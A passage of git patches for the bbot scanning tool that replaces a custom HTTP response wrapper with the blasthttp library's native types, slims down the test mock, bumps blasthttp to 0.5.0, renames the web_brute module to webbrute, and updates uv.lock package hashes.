BlasthttpHTTPError(Exception): - """HTTP error raised by BlasthttpResponse.raise_for_status().""" - - def __init__(self, message, response=None): - super().__init__(message) - self.response = response diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index e2ca877a8a..7d9bb18ff1 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -10,9 +10,10 @@ from bs4 import MarkupResemblesLocatorWarning from bs4.builder import XMLParsedAsHTMLWarning +from blasthttp import HTTPStatusError + from bbot.core.helpers.misc import truncate_filename, bytes_to_human, get_exception_chain from bbot.errors import WordlistError, WebError -from .blast_response import BlasthttpResponse, BlasthttpHTTPError warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning) warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning) @@ -284,9 +285,7 @@ async def request(self, *args, **kwargs): log.trace(f"blasthttp request: {method} {url}") # blasthttp returns a native coroutine via pyo3-async-runtimes - blast_response = await self.client.request(url, **blast_kwargs) - - response = BlasthttpResponse(blast_response, request_url=url, method=method) + response = await self.client.request(url, **blast_kwargs) if self.http_debug: log.trace( @@ -389,10 +388,7 @@ async def request_batch_stream(self, urls, threads=10, **kwargs): trackers_by_url.setdefault(config.url, deque()).append(tracker) async for br in iter_batch_results(self.client.request_batch_stream(configs, concurrency=threads)): - if br.response is not None: - response = BlasthttpResponse(br.response, request_url=br.url, method="GET") - else: - response = None + response = br.response # blasthttp.Response or None if has_tracker: queue = trackers_by_url.get(br.url) tracker = queue.popleft() if queue else None @@ -455,7 +451,7 @@ async def download(self, url, **kwargs): response = await self.request(url, **kwargs) if response is None: - raise BlasthttpHTTPError(f"No response from {url}") + raise HTTPStatusError(f"No response from {url}") log.debug(f"Download result: HTTP {response.status_code}") response.raise_for_status() @@ -473,7 +469,7 @@ async def download(self, url, **kwargs): f.write(content) success = True - except (BlasthttpHTTPError, WebError, RuntimeError) as e: + except (HTTPStatusError, WebError, RuntimeError) as e: log_fn = log.verbose if warn: log_fn = log.warning diff --git a/bbot/modules/http.py b/bbot/modules/http.py index f251aac8a9..04406399d8 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -109,14 +109,15 @@ def _response_to_json(self, url_input, response): parsed = urlparse(response.url) path = parsed.path or "/" - # Build raw_header string (required by HTTP_RESPONSE validation) + # Build raw_header string (required by HTTP_RESPONSE validation). + # blasthttp already builds the canonical "Name: Value\r\n..." form + # — reuse it instead of rebuilding. status_line = f"HTTP/1.1 {response.status} \r\n" - header_lines = "\r\n".join(f"{k}: {v}" for k, v in response.headers) - raw_header = f"{status_line}{header_lines}\r\n\r\n" + raw_header = f"{status_line}{response.raw_headers}\r\n\r\n" # Build header dict (lowercase keys, comma-joined for dupes) header_dict = {} - for k, v in response.headers: + for k, v in response.headers.items(): key = k.lower().replace("-", "_") if key in header_dict: header_dict[key] += f", {v}" diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index d9b7db466c..caf8bffcac 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -68,7 +68,7 @@ async def handle_event(self, event): self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]") if subject_response: - subject_content = "".join([str(x) for x in subject_response.headers]) + subject_content = subject_response.raw_headers if subject_response.text is not None: subject_content += subject_response.text diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index 6c772582a7..e04bdaedd3 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -353,7 +353,7 @@ async def execute_fuzz( # not real findings (e.g. mod_userdir sending ~user to /) if 300 <= response.status < 400: location = "" - for hdr_name, hdr_val in response.headers: + for hdr_name, hdr_val in response.headers.items(): if hdr_name.lower() == "location": location = hdr_val break diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 6108626911..b3b1b909f1 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -165,13 +165,8 @@ async def patched_request_batch_stream(self, urls, threads=10, **kwargs): configs.append(config) trackers_by_url.setdefault(config.url, deque()).append(tracker) - from bbot.core.helpers.web.blast_response import BlasthttpResponse - async for br in mock.handle_batch_stream(self.client, configs, concurrency=threads): - if br.response is not None: - response = BlasthttpResponse(br.response, request_url=br.url, method="GET") - else: - response = None + response = br.response # blasthttp.Response or None if has_tracker: queue = trackers_by_url.get(br.url) tracker = queue.popleft() if queue else None diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py index c4b7c735d2..d86f3460d8 100644 --- a/bbot/test/mock_blasthttp.py +++ b/bbot/test/mock_blasthttp.py @@ -1,294 +1,82 @@ """ -Mock fixture for blasthttp web requests. - -Intercepts WebHelper.request() at the Python level. Requests to external -hosts are handled by registered mock responses/callbacks. Requests to -localhost/127.0.0.1 pass through to the real blasthttp client. - -Drop-in types (MockRequest, MockResponse, TimeoutException) replace their -equivalents in test callback signatures. +Bbot-specific test fixture that wraps `blasthttp.mock.BlasthttpMock` +with WebHelper kwarg translation. + +The generic mock infrastructure — handler queue with FIFO + recycle, +URL/method/header/json predicates, sync + async callbacks — lives in +`blasthttp.mock`. This module adds the bbot-specific surface: + + - `handle_engine_request(self, web_helper, *args, **kwargs)` + translates `WebHelper.request()` kwargs (auth tuple, cookies dict, + json/data body, raise_error semantics, allow_redirects) into the + blasthttp.request shape, dispatches through the mock, and returns + the response (or an error dict the patched WebHelper translates + into a WebError). + + - `handle_batch_stream(real_client, configs, concurrency, ...)` + splits configs by `should_intercept`, dispatches mocked URLs + through the handler queue and forwards the rest to `real_client`'s + streaming batch API. The signature takes `real_client` per-call + because the test fixture doesn't have one at construction time + (the WebHelper's client is created later, when the scan starts). + +`MockRequest`, `MockResponse`, `TimeoutException`, and the underlying +`BlasthttpMock` API (`add_response`, `add_callback`, `should_intercept`) +are all reachable directly so existing test imports +(``from bbot.test.mock_blasthttp import MockResponse``, +``module_test.blasthttp_mock.add_response(...)``) keep working. """ -import re import json as _json -import asyncio -from urllib.parse import urlparse, urlencode - -from bbot.core.helpers.web.blast_response import BlasthttpResponse - - -# ── Mock types for test callbacks ──── - - -class TimeoutException(RuntimeError): - """Mock timeout exception for tests.""" - - pass - - -class MockRequest: - """Mock request object for test callbacks.""" - - def __init__(self, url, method="GET", headers=None, content=b""): - self.url = url - self.method = method - self.headers = headers or {} - self.content = content if isinstance(content, bytes) else content.encode() - - -class MockResponse: - """Mock response object for test callbacks.""" - - def __init__(self, status_code=200, json=None, text=None, headers=None): - self.status_code = status_code - if text is not None: - self.text = text - elif json is not None: - self.text = _json.dumps(json) - else: - self.text = "" - self.headers = headers or {} +from urllib.parse import urlencode - -# ── Internal mock helpers ────────────────────────────────────────── - - -class _MockRawResponse: - """Mimics blasthttp PyO3 Response for BlasthttpResponse.__init__.""" - - def __init__(self, status=200, url="", body="", headers=None, elapsed_ms=0): - self.status = status - self.url = url - self.body = body - self.body_bytes = body.encode("utf-8", errors="surrogateescape") if isinstance(body, str) else body - self.headers = headers or [] - self.elapsed_ms = elapsed_ms - - -class _MockBatchResult: - """Mimics blasthttp BatchResult for request_batch mocking.""" - - def __init__(self, url, response=None, error=None): - self.url = url - self.response = response - self.error = error - - -# ── Main mock class ─────────────────────────────────────────────── +from blasthttp.mock import ( # noqa: F401 + BlasthttpMock as _BlasthttpMock, + MockRequest, + MockResponse, + TimeoutException, +) class BlasthttpMock: """ - Mock fixture that intercepts HTTPEngine.request() calls. - - Supports the add_response() / add_callback() API for mocking HTTP requests in - tests. + Bbot-flavored mock — wraps a `blasthttp.mock.BlasthttpMock` and + adds bbot-specific WebHelper kwarg translation plus a per-call + `real_client` batch-stream entry point. All other attributes + (``add_response``, ``add_callback``, ``should_intercept``, etc.) + forward to the inner mock via ``__getattr__``. """ def __init__(self, should_mock_fn=None): - self._handlers = [] # FIFO queue of handlers - self._recycled = [] # consumed handlers available for reuse - self._should_mock = should_mock_fn or (lambda host: True) - - def add_response( - self, - url=None, - method=None, - text=None, - json=None, - content=None, - status_code=200, - headers=None, - match_headers=None, - match_json=None, - ): - """Register a static mock response.""" - # Normalize response headers to list of tuples - if headers is None: - header_list = [] - elif isinstance(headers, dict): - header_list = [] - for k, v in headers.items(): - if isinstance(v, list): - # Expand list values into multiple tuples (e.g. multiple Set-Cookie) - for item in v: - header_list.append((k, item)) - else: - header_list.append((k, v)) - elif isinstance(headers, list): - header_list = list(headers) - else: - header_list = [] - - # Build body — content (bytes) takes lowest priority after text/json - if text is not None: - body = text - # Auto-add Content-Type for text - if not any(k.lower() == "content-type" for k, _ in header_list): - header_list.append(("Content-Type", "text/plain; charset=utf-8")) - elif json is not None: - body = _json.dumps(json) - if not any(k.lower() == "content-type" for k, _ in header_list): - header_list.append(("Content-Type", "application/json")) - elif content is not None: - # Raw bytes content — decode to str for body field, keep as-is for body_bytes - if isinstance(content, bytes): - body = content.decode("utf-8", errors="surrogateescape") - else: - body = str(content) - if not any(k.lower() == "content-type" for k, _ in header_list): - header_list.append(("Content-Type", "application/octet-stream")) - else: - body = "" + self._inner = _BlasthttpMock(should_mock_fn=should_mock_fn) + self._should_mock_fn = should_mock_fn - self._handlers.append( - { - "type": "response", - "url": url, - "method": method, - "match_headers": match_headers, - "match_json": match_json, - "status_code": status_code, - "body": body, - "headers": header_list, - } - ) + # ── Forward everything else (add_response, add_callback, + # should_intercept, request, request_batch, ...) ────────────── + def __getattr__(self, name): + return getattr(self._inner, name) - def add_callback(self, callback, url=None): - """Register a callback that receives MockRequest and returns MockResponse.""" - self._handlers.append( - { - "type": "callback", - "url": url, - "callback": callback, - } - ) - - def should_intercept(self, url): - """Check if this URL should be intercepted by the mock.""" - host = urlparse(url).hostname or "" - return self._should_mock(host) - - def _url_matches(self, pattern, url): - """Match URL against string or compiled regex.""" - if pattern is None: - return True - if isinstance(pattern, re.Pattern): - return pattern.search(url) is not None - return url == pattern - - def _matches(self, handler, url, method, headers, body_str): - """Check if a handler matches the request criteria.""" - if not self._url_matches(handler.get("url"), url): - return False - - handler_method = handler.get("method") - if handler_method and method.upper() != handler_method.upper(): - return False - - match_headers = handler.get("match_headers") - if match_headers: - for k, v in match_headers.items(): - if headers.get(k) != v: - return False - - match_json = handler.get("match_json") - if match_json is not None: - try: - req_json = _json.loads(body_str) if body_str else {} - for k, v in match_json.items(): - if req_json.get(k) != v: - return False - except (ValueError, TypeError): - return False - - return True - - def _make_blast_response(self, url, method, status_code, body, headers): - """Create a BlasthttpResponse from mock data.""" - raw = _MockRawResponse( - status=status_code, - url=url, - body=body, - headers=headers, - ) - return BlasthttpResponse(raw, request_url=url, method=method) - - async def _find_and_execute(self, url, method, headers, body_str): - """ - Find a matching handler and execute it. - - Handlers are consumed in FIFO order. - Consumed handlers are recycled so they can be reused for subsequent - requests (matching can_send_already_matched_responses=True). - """ - # Try primary handlers first, then recycled ones - for handler_list in (self._handlers, self._recycled): - for i, handler in enumerate(handler_list): - if handler["type"] == "response": - if self._matches(handler, url, method, headers, body_str): - # Consume from primary queue, recycle - if handler_list is self._handlers: - self._handlers.pop(i) - self._recycled.append(handler) - return self._make_blast_response( - url, method, handler["status_code"], handler["body"], handler["headers"] - ) - - elif handler["type"] == "callback": - if handler.get("url") is not None and not self._url_matches(handler["url"], url): - continue - - # Consume from primary queue, recycle - if handler_list is self._handlers: - self._handlers.pop(i) - self._recycled.append(handler) - - callback = handler["callback"] - content = body_str.encode() if isinstance(body_str, str) else (body_str or b"") - mock_request = MockRequest(url=url, method=method, headers=headers, content=content) - - # Call callback — may be sync or async, may raise - if asyncio.iscoroutinefunction(callback): - result = await callback(mock_request) - else: - result = callback(mock_request) - - # Convert MockResponse to BlasthttpResponse - if isinstance(result, MockResponse): - if isinstance(result.headers, dict): - resp_headers = [] - for k, v in result.headers.items(): - if isinstance(v, list): - for item in v: - resp_headers.append((k, item)) - else: - resp_headers.append((k, v)) - else: - resp_headers = result.headers or [] - return self._make_blast_response(url, method, result.status_code, result.text, resp_headers) - - return result - - # No handler matched — raise error (simulates unreachable host) - raise RuntimeError(f"No mock response registered for {method} {url}") + # ── Single-request entry point used by the patched WebHelper ──── async def handle_engine_request(self, web_helper_self, *args, **kwargs): """ - Process kwargs like WebHelper.request() and return a mock response. + Process kwargs the way ``WebHelper.request()`` does and dispatch + through the mock. Called by the patched WebHelper.request. - Called by the patched request method when should_intercept() is True. + Pops bbot-/httpx-specific kwargs (``raise_error``, ``cache_for``, + ``stream``, ``files``, ``client``), translates ``auth`` tuple + and ``cookies`` dict into headers, assembles ``json``/``data`` + into a body, then dispatches via ``self._inner.request(...)``. """ raise_error = kwargs.pop("raise_error", False) - kwargs.pop("cache_for", None) - kwargs.pop("client", None) - kwargs.pop("stream", None) - kwargs.pop("files", None) + for k in ("cache_for", "client", "stream", "files"): + kwargs.pop(k, None) allow_redirects = kwargs.pop("allow_redirects", None) if allow_redirects is not None and "follow_redirects" not in kwargs: kwargs["follow_redirects"] = allow_redirects + # Positional URL → kwarg. if len(args) == 1: kwargs["url"] = args[0] args = () @@ -299,16 +87,12 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): body = kwargs.pop("body", None) data = kwargs.pop("data", None) json_body = kwargs.pop("json", None) - # Pop remaining kwargs so they don't cause issues cookies = kwargs.pop("cookies", None) auth = kwargs.pop("auth", None) - kwargs.pop("timeout", None) + # Drop kwargs that don't apply to mock dispatch but are valid on WebHelper. + for k in ("timeout", "max_redirects", "proxy", "retries", "params", "max_body_size"): + kwargs.pop(k, None) follow_redirects = kwargs.pop("follow_redirects", None) - kwargs.pop("max_redirects", None) - kwargs.pop("proxy", None) - kwargs.pop("retries", None) - kwargs.pop("params", None) - kwargs.pop("max_body_size", None) # Synthesize Authorization header from auth tuple (mirrors engine.py) if auth: @@ -320,102 +104,89 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): # Synthesize Cookie header from cookies dict (mirrors engine.py) if cookies: - cookie_str = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items()) - headers["Cookie"] = cookie_str + headers["Cookie"] = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items()) - # Determine body string for matching + # Assemble body for handler-side matching/dispatch. body_str = "" if json_body is not None: body_str = _json.dumps(json_body) + headers.setdefault("Content-Type", "application/json") elif data is not None: if isinstance(data, dict): body_str = urlencode(data) + headers.setdefault("Content-Type", "application/x-www-form-urlencoded") else: body_str = str(data) elif body is not None: body_str = str(body) try: - response = await self._find_and_execute(url, method, headers, body_str) - - # Follow redirects if requested (mirrors blasthttp behavior) - max_hops = 10 - while follow_redirects and response is not None and max_hops > 0: - if not hasattr(response, "status_code"): - break - if response.status_code not in (301, 302, 303, 307, 308): - break - location = response.headers.get("location", "") - if not location: - break - # Resolve relative redirect URLs - if location.startswith("/"): - parsed_url = urlparse(url) - location = f"{parsed_url.scheme}://{parsed_url.netloc}{location}" - url = location - max_hops -= 1 - response = await self._find_and_execute(url, method, headers, body_str) - - return response + return await self._inner.request( + url, + method=method, + headers=headers, + body=body_str, + follow_redirects=follow_redirects, + ) except Exception as e: import logging logging.getLogger("bbot.test.mock").debug(f"Mock exception for {method} {url}: {e}") - error_msg = str(e) if raise_error: - return {"_request_error": error_msg, "_response": None} + # Convert to the engine-style error dict that the patched + # WebHelper.request expects to translate into a WebError. + return {"_request_error": str(e), "_response": None} return None + # ── Batch-streaming entry point (per-call real_client) ────────── + async def handle_batch_stream(self, real_client, configs, concurrency, rate_limit=None): """ - Process a list of BatchConfig objects through the mock as an async stream. + Stream a batch of `BatchConfig` objects. - For each config, if the URL should be intercepted, route it through the - mock handlers. Otherwise pass it through to the real Rust client's - ``request_batch_stream``. Yields BatchResult-like objects with .url, - .response, and .error attributes in mock-first, then passthrough-completion - order. + Yields one ``BatchResult`` per item — mocked results first + (input order, synchronous), then passthrough results + (completion order from the real client). + + Takes ``real_client`` per-call because the WebHelper's client + isn't available at fixture construction time. We can't pass + it once at construction, so we manually split configs here + and dispatch each side appropriately. """ + import blasthttp + mock_configs = [] passthrough_configs = [] - for config in configs: - url = config.url if hasattr(config, "url") else str(config) - if self.should_intercept(url): + url = getattr(config, "url", str(config)) + if self._inner.should_intercept(url): mock_configs.append(config) else: passthrough_configs.append(config) - # Yield mock results first — they complete synchronously, no point queuing them + # Dispatch mocked configs synchronously, in input order. for config in mock_configs: - url = config.url if hasattr(config, "url") else str(config) + url = getattr(config, "url", str(config)) method = getattr(config, "method", "GET") or "GET" - headers_raw = getattr(config, "headers", None) or [] - headers = {k: v for k, v in headers_raw} if headers_raw else {} - body_str = getattr(config, "body", "") or "" - + raw_headers = getattr(config, "headers", None) or [] + headers = dict(raw_headers) if raw_headers else {} + body = getattr(config, "body", None) or "" try: - response = await self._find_and_execute(url, method, headers, body_str) - if response is not None: - raw = _MockRawResponse( - status=response.status_code, - url=url, - body=response.text, - headers=[(k, v) for k, v in response.headers.items()], - ) - yield _MockBatchResult(url=url, response=raw) - else: - yield _MockBatchResult(url=url, error="mock returned None") + response = await self._inner.request(url, method=method, headers=headers, body=body) + yield blasthttp.BatchResult(url, response=response) except Exception as e: - yield _MockBatchResult(url=url, error=str(e)) + yield blasthttp.BatchResult(url, error=str(e)) - # Stream passthrough (localhost) URLs through the real Rust client. - # The native iterator yields lists; normalize to individual items so the - # mock's contract is "one BatchResult per yield" regardless of source. + # Stream passthrough through the real client. Its iterator + # yields lists; flatten so the consumer sees one BatchResult + # per yield (matches the mock's contract). if passthrough_configs: - async for item in real_client.request_batch_stream(passthrough_configs, concurrency=concurrency): + stream = real_client.request_batch_stream( + passthrough_configs, concurrency=concurrency, rate_limit=rate_limit + ) + async for item in stream: if isinstance(item, list): - for result in item: - yield result + for r in item: + yield r else: yield item diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index d469c98afd..2b333bda2c 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -1,6 +1,6 @@ import re -from bbot.core.helpers.web.blast_response import BlasthttpHTTPError +from blasthttp import HTTPStatusError from ..bbot_fixtures import * @@ -51,13 +51,13 @@ def server_handler(request): except WebError as e: assert hasattr(e, "response") assert e.response is None - with pytest.raises(BlasthttpHTTPError): + with pytest.raises(HTTPStatusError): response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True) response.raise_for_status() try: response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True) response.raise_for_status() - except BlasthttpHTTPError as e: + except HTTPStatusError as e: assert hasattr(e, "response") assert e.response.status_code == 500 diff --git a/pyproject.toml b/pyproject.toml index fc506c8cfd..b45ecb278e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.3.2", + "blasthttp>=0.5.0", "blastdns>=1.9.0,<2", ] From 9130c818ce007ca8d615b8ff8609335286e0e2bf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 10:56:16 -0400 Subject: [PATCH 610/912] bump blasthttp to 0.5.0 and rename web_brute -> webbrute --- bbot/modules/{web_brute.py => webbrute.py} | 0 ...e_shortnames.py => webbrute_shortnames.py} | 0 ...e_web_brute.py => test_module_webbrute.py} | 0 ....py => test_module_webbrute_shortnames.py} | 0 uv.lock | 110 +++++++++--------- 5 files changed, 55 insertions(+), 55 deletions(-) rename bbot/modules/{web_brute.py => webbrute.py} (100%) rename bbot/modules/{web_brute_shortnames.py => webbrute_shortnames.py} (100%) rename bbot/test/test_step_2/module_tests/{test_module_web_brute.py => test_module_webbrute.py} (100%) rename bbot/test/test_step_2/module_tests/{test_module_web_brute_shortnames.py => test_module_webbrute_shortnames.py} (100%) diff --git a/bbot/modules/web_brute.py b/bbot/modules/webbrute.py similarity index 100% rename from bbot/modules/web_brute.py rename to bbot/modules/webbrute.py diff --git a/bbot/modules/web_brute_shortnames.py b/bbot/modules/webbrute_shortnames.py similarity index 100% rename from bbot/modules/web_brute_shortnames.py rename to bbot/modules/webbrute_shortnames.py diff --git a/bbot/test/test_step_2/module_tests/test_module_web_brute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py similarity index 100% rename from bbot/test/test_step_2/module_tests/test_module_web_brute.py rename to bbot/test/test_step_2/module_tests/test_module_webbrute.py diff --git a/bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py similarity index 100% rename from bbot/test/test_step_2/module_tests/test_module_web_brute_shortnames.py rename to bbot/test/test_step_2/module_tests/test_module_webbrute_shortnames.py diff --git a/uv.lock b/uv.lock index 13020af80f..dac446a034 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.3.2" }, + { name = "blasthttp", specifier = ">=0.5.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.4.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/90/86/0dd004f90fa242271b18e4767714969b92bd8bbedeb0eaf17924f9638aea/blasthttp-0.4.0.tar.gz", hash = "sha256:9c2280e8fe6aea609e6bb5c3801f9933798bdd397b0f9e6438e4dd4dc2a38599", size = 111609, upload-time = "2026-05-01T16:11:37.758Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/7c/f2/2c93f63eb949bed093b51841334a7f0e55b4f33c391abece72a9fd486d18/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b4685f7b9958900d277fbef4779441b64d9041a80eede1cb75ece786030837ef", size = 4566226, upload-time = "2026-05-01T16:10:17.651Z" }, - { url = "https://files.pythonhosted.org/packages/c6/44/a47fad5edd6ac09f76c9ec08d9816dc67ea1fa74b92a8a6af6f3b39c533b/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:7e941013fc1b4a847e8ea5af28bfbe846c15c9062b54feef9e441afc9f5116c8", size = 3887426, upload-time = "2026-05-01T16:10:25.704Z" }, - { url = "https://files.pythonhosted.org/packages/60/0e/4160d21a3bcfc0889ef3414b239dc24fd92320feac6c25ae545fe8867bba/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:5ba87482dfed7c242c4707f85a4888d3799e443a55d821d426eb97e7429bded3", size = 4467981, upload-time = "2026-05-01T16:10:49.799Z" }, - { url = "https://files.pythonhosted.org/packages/b2/8f/9cc581d5407c4340239b097238e9f8a55c9bcbd2d0336419b10e14e09edf/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:67c3b8f470ab0a86c7060811e4e21433a81bb507ba9c9a21cc8abc3a7d651239", size = 4472838, upload-time = "2026-05-01T16:10:33.591Z" }, - { url = "https://files.pythonhosted.org/packages/44/12/1d7b61e76c684a31b081b086dc3558a0d7cd39050488ebf722d13d9cf15e/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:d2a59cde9750782c56c6220c8d5c1af741f052e070f6015dfe81f0cc1ab11c39", size = 4096366, upload-time = "2026-05-01T16:10:41.958Z" }, - { url = "https://files.pythonhosted.org/packages/e3/90/f411e41e55771f29dfec1a33b157f79bdce299bbe3f4865ac9d1b7bec7ae/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fec615295b33d76895bf047f2109cc41d1b5775bc5db40bc5c73b7b98bebfcdf", size = 4230482, upload-time = "2026-05-01T16:10:57.34Z" }, - { url = "https://files.pythonhosted.org/packages/cb/e2/58c0d6975195f3ec9fc96313850457a8fc0feb7d5e90049f250bca3009ce/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f05bd49b19294d2ee74d6e3bf038b22363db9abe0df4d47d174d9100c569efbd", size = 4857209, upload-time = "2026-05-01T16:11:05.558Z" }, - { url = "https://files.pythonhosted.org/packages/fe/35/560c6ef2a7616d1cb0d6caaf7296491d72fa1eb07f49e654dca346d11c4b/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2ab3dd4fb4e02b2b4c5d85e31598d49ad3d44292a94ad6c4e76f8e5ab01e9420", size = 4191448, upload-time = "2026-05-01T16:11:13.509Z" }, - { url = "https://files.pythonhosted.org/packages/a4/2d/14741faa212e0541254790b2735bc269beed27e4d4ca51324e697c912bb1/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8df2a897e01a27c2caed3f7604e2dabb69a3e1c54834283c2f0cfbba48e4a6df", size = 4607221, upload-time = "2026-05-01T16:11:21.33Z" }, - { url = "https://files.pythonhosted.org/packages/30/3f/631cce54d4ce277e28ff7ed7e74703ea41f8d4ba872c72bd7f1376aa94ff/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6fea4489e0e590140d3890983e9197d6348b40b3e225a339d6af2b6a74a8ae7b", size = 4564472, upload-time = "2026-05-01T16:11:29.379Z" }, - { url = "https://files.pythonhosted.org/packages/d1/a9/7cae1cc77a1eeefed8c2727b12e72935f66ec19ef5518c2c01eca25c76ca/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:693a1379940102187b53d96152c150b3771c9eb22d89de1f42cd0d2e21420153", size = 4563775, upload-time = "2026-05-01T16:10:19.162Z" }, - { url = "https://files.pythonhosted.org/packages/a9/01/a462eaab0771413ad448aef0ce28259a054bac1da8dd59a9a25f1e7a2e86/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:aab65d1d8e4e837a180f8a6db0d9d16d662319dca054fa694daa37080cebe22b", size = 3885817, upload-time = "2026-05-01T16:10:27.457Z" }, - { url = "https://files.pythonhosted.org/packages/4d/7b/9569080a6f46d2465f25e1e7fb2ce7db1b096b7a66d72ecf95da177a303c/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:acb396238e7704dc5bbf104be8b60f8bd0ecda9320051474eaefb8974168e7b6", size = 4465003, upload-time = "2026-05-01T16:10:51.55Z" }, - { url = "https://files.pythonhosted.org/packages/45/37/84a897080c47bc401c41f661a4c05879d85bd97d12c0799f553144385c19/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c0199cea79e8bdf49ea9c70d06771ca60618382940aac0d9a22ef3f101517c0a", size = 4472062, upload-time = "2026-05-01T16:10:35.357Z" }, - { url = "https://files.pythonhosted.org/packages/da/e5/6ae9f82d7f317d3a406b0d47ca9255c724c473caa365cd30b63ac735456f/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:cb081c0b53761e6ca30742d706c039f1186c38f2804230403db4856dc83d4079", size = 4091245, upload-time = "2026-05-01T16:10:43.67Z" }, - { url = "https://files.pythonhosted.org/packages/e5/20/91c8720d7be6722f72d161b09ecc077a8be66c9a798fdd928013cb1a3bfa/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6c91056098933aeb0380d43716379d431d06c1945ce0a567e7cf7c3f77b4784f", size = 4227936, upload-time = "2026-05-01T16:10:59.137Z" }, - { url = "https://files.pythonhosted.org/packages/fd/e7/92a5f0ee00d85198a30566317535ff89855cdc0a97c77f857c95bb0b9fdc/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:99655b1ab1f580b451067d7613e28f45b9e333fd62fdeecb2790cc4a4c2b3c45", size = 4854465, upload-time = "2026-05-01T16:11:07.143Z" }, - { url = "https://files.pythonhosted.org/packages/03/a5/a26599dfcf7484b2f60df00aede182b5a7abe1296dfd1e36c196229d700a/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a20e7656a7cfb3586325c5857dd542e8d33626a7b59919a0410018e0ea8963c9", size = 4187569, upload-time = "2026-05-01T16:11:15.031Z" }, - { url = "https://files.pythonhosted.org/packages/73/9d/a790bba458ac9ffe13581dbd5e1720ab611b1d97a412951db54c82299935/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ae8156905d1389fe86151b989694c6a04f31810b989de6fb1369407b3ca459de", size = 4602503, upload-time = "2026-05-01T16:11:23.022Z" }, - { url = "https://files.pythonhosted.org/packages/44/5f/4e55bc49eb56e9bfd2c89d2dd6dca954c217b79e25b9b701d90d5b3162a5/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49f6a1fd2dc3fb04884af2c7a49724a86b8110d3ffcd2af8617f57e4cddbcf77", size = 4562715, upload-time = "2026-05-01T16:11:31.341Z" }, - { url = "https://files.pythonhosted.org/packages/54/54/d40f61c10a7115d9daa553879a0642124f24b716faf7dff2674301a42eed/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:702262236f06ec08517bf18560bf2f8f26e5fbdac4f96ae36f57c8a104c4c15b", size = 4561829, upload-time = "2026-05-01T16:10:20.729Z" }, - { url = "https://files.pythonhosted.org/packages/53/6b/6f349ed6d27f42fa8f4a9842a713d6e56b353c2284c00191f7c745eada0c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = 